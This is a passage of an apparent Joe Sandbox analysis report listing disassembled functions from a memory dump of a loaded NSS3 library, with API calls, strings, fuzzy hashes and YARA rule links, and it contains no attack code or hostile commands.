Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 057e57f4861b8339e2add28506a887393bb22e417e021d485d66c37a254ef882
Instruction ID: 874269392193576dd4f91edbb821a363fbc37aa2e6fda86ac29ae335e34779e1
Opcode Fuzzy Hash: 057e57f4861b8339e2add28506a887393bb22e417e021d485d66c37a254ef882
Instruction Fuzzy Hash: BD11A3B2B01125BBDF00AF65EC45D96776CBB053597108131E90A87E01E732E428C7E5

Function 6C6B2CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C6B5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6B5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6B2CEC

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

PR_EnterMonitor.NSS3(?), ref: 6C6B2D02
PR_EnterMonitor.NSS3(?), ref: 6C6B2D1F
PR_ExitMonitor.NSS3(?), ref: 6C6B2D42
PR_ExitMonitor.NSS3(?), ref: 6C6B2D5B

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 2dc181a12940251ff2581a42434f5a286440a5a5c5196a7db19a0a0498bda2d6
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: F901C8F1A042009BE6319F25FC40BC7B7E1EF4631CF004525E85996710D632F925C79B

Function 6C6B2D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C6B5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6B5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6B2D9C

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

PR_EnterMonitor.NSS3(?), ref: 6C6B2DB2
PR_EnterMonitor.NSS3(?), ref: 6C6B2DCF
PR_ExitMonitor.NSS3(?), ref: 6C6B2DF2
PR_ExitMonitor.NSS3(?), ref: 6C6B2E0B

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: a1ce74ce7efae3cb3bbc7001f8194fa578f1aed650908ebe74219746469c34ac
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: B101A5B1A052009BEA309F26FC05BC7B7E1EF4635CF000435E85996B10D632E926879B

Function 6C64AE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6C633090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C64AE42), ref: 6C6330AA
Part of subcall function 6C633090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6330C7
Part of subcall function 6C633090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C6330E5
Part of subcall function 6C633090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C633116
Part of subcall function 6C633090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C63312B
Part of subcall function 6C633090: PK11_DestroyObject.NSS3(?,?), ref: 6C633154
Part of subcall function 6C633090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C63317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6C6299FF,?,?,?,?,?,?,?,?,?,6C622D6B,?), ref: 6C64AE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6C6299FF,?,?,?,?,?,?,?,?,?,6C622D6B,?), ref: 6C64AE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C622D6B,?,?,00000000), ref: 6C64AE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6C622D6B,?,?,00000000), ref: 6C64AE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6C622D6B,?,?), ref: 6C64AEA3

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: 400ca88f7d8538036d05f7f302319d9b49be9e739ae4da92502ae444c3968e34
Instruction ID: d4beca6a824bb1d71d39e8879d8913dc523618c4877198226f96f8f8ed3ae699
Opcode Fuzzy Hash: 400ca88f7d8538036d05f7f302319d9b49be9e739ae4da92502ae444c3968e34
Instruction Fuzzy Hash: 26012866B00020B7E701A12CAC81EEF31988B8765CF08C432E929C7B43F616C90753EF

Function 6C73BDB0 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,6C737AFE,?,?,?,?,?,?,?,?,6C73798A), ref: 6C73BDC3
free.MOZGLUE(?,?,6C737AFE,?,?,?,?,?,?,?,?,6C73798A), ref: 6C73BDCA
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C737AFE,?,?,?,?,?,?,?,?,6C73798A), ref: 6C73BDE9
free.MOZGLUE(?,00000000,00000000,?,6C737AFE,?,?,?,?,?,?,?,?,6C73798A), ref: 6C73BE21
free.MOZGLUE(00000000,00000000,?,6C737AFE,?,?,?,?,?,?,?,?,6C73798A), ref: 6C73BE32

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: free$CriticalDeleteDestroyMonitorSection
String ID:
API String ID: 3662805584-0
Opcode ID: af336af8b27d992fa21b32f2eae049a667bfbfb1d19a04bae305c6b933b0995b
Instruction ID: 992507be4baaf9dfd8011da84b6a94263ca7a2b50ebca470f8b23a95036c7226
Opcode Fuzzy Hash: af336af8b27d992fa21b32f2eae049a667bfbfb1d19a04bae305c6b933b0995b
Instruction Fuzzy Hash: 391103B5B026249FDF41DF2AD909B023BF9BB4B356B740079E60E8B711E731A414CBA1

Function 6C737C60 Relevance: 7.5, APIs: 5, Instructions: 40stringthreadCOMMON

Download Yara Rule

APIs

PR_Free.NSS3(?), ref: 6C737C73
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C737C83
malloc.MOZGLUE(00000001), ref: 6C737C8D
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C737C9F
PR_GetCurrentThread.NSS3 ref: 6C737CAD

Part of subcall function 6C6E9BF0: TlsGetValue.KERNEL32(?,?,?,6C730A75), ref: 6C6E9C07

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: CurrentFreeThreadValuemallocstrcpystrlen
String ID:
API String ID: 105370314-0
Opcode ID: 10e9f9b43910d701b3a3299d988cd8fc1079073a57344f1ebb7b335536f36437
Instruction ID: 6979300b8875cc4a5a56324c41e5711a7760733da204fba30ab615125052ef7e
Opcode Fuzzy Hash: 10e9f9b43910d701b3a3299d988cd8fc1079073a57344f1ebb7b335536f36437
Instruction Fuzzy Hash: 84F0C2F191022AABEB009F3A9E0D997775CEF45269B118436E80DC3B01E731E514CAE9

Function 6C73ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6C73A6D8), ref: 6C73AE0D
free.MOZGLUE(?), ref: 6C73AE14
DeleteCriticalSection.KERNEL32(6C73A6D8), ref: 6C73AE36
free.MOZGLUE(?), ref: 6C73AE3D
free.MOZGLUE(00000000,00000000,?,?,6C73A6D8), ref: 6C73AE47

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: b11c3e503ededc1c45ee18d8022a450be449e8dd3f8caf10836766ab1269b052
Instruction ID: 8eb390ff50a930e4da2965586d583c04dbc4ab80b6db0665755be242dd746e51
Opcode Fuzzy Hash: b11c3e503ededc1c45ee18d8022a450be449e8dd3f8caf10836766ab1269b052
Instruction Fuzzy Hash: 9BF0F6B6201A29A7CE01AFA8D80A91777BCBF8A776710033CF12E83981D731E011C7E1

Function 6C6A9850 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 233COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000,?,?), ref: 6C6A9AE4

Strings

0@ul, xrefs: 6C6A98B3
(, xrefs: 6C6A99BF
`@ul, xrefs: 6C6A991B, 6C6A9A15, 6C6A9A23

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Error
String ID: ($0@ul$`@ul
API String ID: 2619118453-3189054849
Opcode ID: 0272162ca8f6a9085f9899db07eddda3434d7d132d57fa4b699b7fa0f7d81cb0
Instruction ID: d937580b3aa0506780e189876d4c50edf87bb8efaa8c02ea70d10f7fd9c1d228
Opcode Fuzzy Hash: 0272162ca8f6a9085f9899db07eddda3434d7d132d57fa4b699b7fa0f7d81cb0
Instruction Fuzzy Hash: 2691F531A052199BDF00DFD4C8507EEB771BF4530CF38812AE9456BA51D7329D86CB98

Function 6C5BBCD0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(6C75AAF9,?), ref: 6C5BBE37

Strings

sl, xrefs: 6C5BBDD7
winFileSize, xrefs: 6C5BBF07
Psl, xrefs: 6C5BBED4

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: sqlite3_mprintf
String ID: sl$Psl$winFileSize
API String ID: 4246442610-3042326240
Opcode ID: f789c74825c9216062672d2ff40cbb11e99b8f49faf29e807b72b2ed372c460b
Instruction ID: f935569cab3085645f192ad5a790d506e193b0611e0c1054e96c032770cca209
Opcode Fuzzy Hash: f789c74825c9216062672d2ff40cbb11e99b8f49faf29e807b72b2ed372c460b
Instruction Fuzzy Hash: 4061F131B04619DFCB04DF28C8E07A9BBB1FF4A314B144AA5E815ABB50D7B4E856CBD1

Function 6C5C7C40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 100COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A0D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5C7D35

Strings

%s at line %d of [%.10s], xrefs: 6C5C7D2E
database corruption, xrefs: 6C5C7D29
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5C7D13, 6C5C7D1F, 6C5C7D47, 6C5C7D53, 6C5C7D5F

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: db7383afa90f5ae6879996406acb0028c3a2e3036f8d853dab96c349d804bdc3
Instruction ID: 0770900bbcfdd9a89fd7644783f1fde0d1e6860f1b916f95a91d1c4e7004ae52
Opcode Fuzzy Hash: db7383afa90f5ae6879996406acb0028c3a2e3036f8d853dab96c349d804bdc3
Instruction Fuzzy Hash: D8311471F0422997C710CF9ECC809BABBE1AF94385B5905AAE444B7F85D670D941C7A1

Function 6C5B6C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6C5B6D36

Strings

%s at line %d of [%.10s], xrefs: 6C5B6D2F
database corruption, xrefs: 6C5B6D2A
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5B6D20

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 151f903c5a17303dc3f2d430db3957fbe4334514f1d3d7a508b1058a2da45781
Instruction ID: b8c6cb7b0d450a6f42ea35460f2d2f854c3c000e5a8c090963a9079c55b0ccf9
Opcode Fuzzy Hash: 151f903c5a17303dc3f2d430db3957fbe4334514f1d3d7a508b1058a2da45781
Instruction Fuzzy Hash: 4B21F4306043059FC718CE1ACC61B5ABBF6AF84308F54492DD849ABF51EB71F949C791

Function 6C692FD0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,-000000D4,00000000,?,<+il,6C6932C2,<+il,00000000,00000000,?), ref: 6C692FDA

Part of subcall function 6C6814C0: TlsGetValue.KERNEL32 ref: 6C6814E0
Part of subcall function 6C6814C0: EnterCriticalSection.KERNEL32 ref: 6C6814F5
Part of subcall function 6C6814C0: PR_Unlock.NSS3 ref: 6C68150D

PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6C69300B

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6C69302A

Part of subcall function 6C680840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6808B4

Part of subcall function 6C66C3D0: PK11_ImportPublicKey.NSS3(?,?,00000000), ref: 6C66C45D
Part of subcall function 6C66C3D0: TlsGetValue.KERNEL32 ref: 6C66C494
Part of subcall function 6C66C3D0: EnterCriticalSection.KERNEL32(?), ref: 6C66C4A9
Part of subcall function 6C66C3D0: PR_Unlock.NSS3(?), ref: 6C66C4F4

Strings

<+il, xrefs: 6C692FD0

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Value$ArenaCriticalEnterSectionUnlockUtil$Alloc_AllocateErrorFindImportK11_Mark_PublicTag_
String ID: <+il
API String ID: 2538134263-1603980441
Opcode ID: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction ID: 3c893c8700e0719eb87f462b18106b6dbb41e15125ffab322ce6724688f92db0
Opcode Fuzzy Hash: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction Fuzzy Hash: 891127B6B011046BDB008E65DC00A9B77D99B8136CF184134E91CD7780E732ED15C7A5

Function 6C6ECC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C6ECD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C6ECC7B), ref: 6C6ECD7A
Part of subcall function 6C6ECD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C6ECD8E
Part of subcall function 6C6ECD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C6ECDA5
Part of subcall function 6C6ECD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C6ECDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6C6ECCB5
memcpy.VCRUNTIME140(6C7814F4,6C7802AC,00000090), ref: 6C6ECCD3
memcpy.VCRUNTIME140(6C781588,6C7802AC,00000090), ref: 6C6ECD2B

Part of subcall function 6C609AC0: socket.WSOCK32(?,00000017,6C6099BE), ref: 6C609AE6
Part of subcall function 6C609AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6C6099BE), ref: 6C609AFC

Part of subcall function 6C610590: closesocket.WSOCK32(6C609A8F,?,?,6C609A8F,00000000), ref: 6C610597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6C6ECCB0

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: f9b0a9d6c40ae6343221d14f66558579b2f5e3a90c93ce7d0b907d5a189da352
Instruction ID: eb1e2a592e65657f7e253ee89a8200fdf7517c3b4ab92da119108e6b79f5077e
Opcode Fuzzy Hash: f9b0a9d6c40ae6343221d14f66558579b2f5e3a90c93ce7d0b907d5a189da352
Instruction Fuzzy Hash: 9E1142F1B072506FDB109F699A0B7423AA89347718F242039E62ACBBC2E771C40487DA

Function 6C638850 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000028,00000000,?,?,6C640715), ref: 6C638859
PR_NewLock.NSS3 ref: 6C638874

Part of subcall function 6C6E98D0: calloc.MOZGLUE(00000001,00000084,6C610936,00000001,?,6C61102C), ref: 6C6E98E5

PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6C63888D

Strings

NSS, xrefs: 6C638887

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
